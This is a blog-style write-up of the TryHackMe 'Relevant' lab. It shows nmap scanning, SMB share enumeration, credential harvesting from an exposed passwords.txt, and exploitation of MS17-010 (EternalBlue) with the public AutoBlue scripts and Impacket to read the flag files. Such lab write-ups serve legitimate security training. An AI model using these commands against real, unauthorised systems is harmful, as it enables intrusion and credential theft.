TryHackMe
Relevant
You have been assigned to a client that wants a penetration test conducted on an environment due to be released to production in seven days.
- Difficulty = MEDIUM
Recon
Start the machine. Once it is up and running, let’s do a nmap scan with the following command.
nmap -sCV -A -T4 -p- -v MachineIPSeeing that smb services are running on the machine, I went ahead and did another nmap scan. But this time round, I targeted the scan to see if it had any smb vulnerabilities.
nmap -p 139,445 --script smb-vuln* -v MachineIPNext, I listed the shares on the service using the following command.
smbclient -L \\\\MachineIP\\
Let’s take a look at “nt4wrksv”.
smbclient \\\\MachineIP\\nt4wrksv
I listed the items on the share and saw “passwords.txt” and got it onto my machine using the get command. Let’s see what the file contains.
Encoded? Not an issue for CyberChef.
Now we have credentials for 2 users. (Bill & Bob)
Foothold
Now remember at the start, we uncovered that the machine was vulnerable to MS17–010, let’s use this to get a foothold on the system!
Get Porkballs’s stories in your inbox
Join Medium for free to get updates from this writer.
But what is MS17–010?
Since the room mentions that “Nothing in this room requires Metasploit”, I googled to see if there’s any public code that can help with this.
Now let’s grab this repository over to our own machine.
git clone https://github.com/3ndG4me/AutoBlue-MS17-010
cd AutoBlue-MS17-010
I ran zzz_exploit.py with — helpto check what variables are needed to run it.
So we will have to specify the following.
- Target IP
- Port
- Target (username[:password]@]<targetName or address>
I ran PSEXEC.py from Impacket to check the credentials that we have gotten.
psexec.py User:'Password'@MachineIP
Seems like Bill is a fake. 😈
Now with the correct credentials at hand, I ran eternal_checker.py from the AutoBlue repository to triple confirm that the machine was vulnerable to EternalBlue.
python eternal_checker.py bob:'THIS_IS_NOT_THE_PW'@MachineIP
Success! Now to run the zzz_exploit.py exploit!
python zzz_exploit.py bob:'THIS_IS_NOT_THE_PW'@MachineIP
Post-Exploitation
As seen in the previous screenshot, the shell was spawned as NT_Authority. So we are able to grab both flags without the need for privilege escalation as we already have the highest privileges.
As this is a semi-interactive shell, we won’t be able to move out of the current directory. (That’s what I faced but if you managed to escape from it, do let me know how to do it. 😃)
After doing many CTF rooms, I know that the user flag is typically located at C:\Users\‘Username’\Desktop\user.txt and the root flag at C:\Users\Administrator\Desktop\root.txt.
Therefore, I used the following commands to read them on the shell.
type C:\Users\Bob\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt
And there you have it. Thank you for reading and hope that this was helpful!
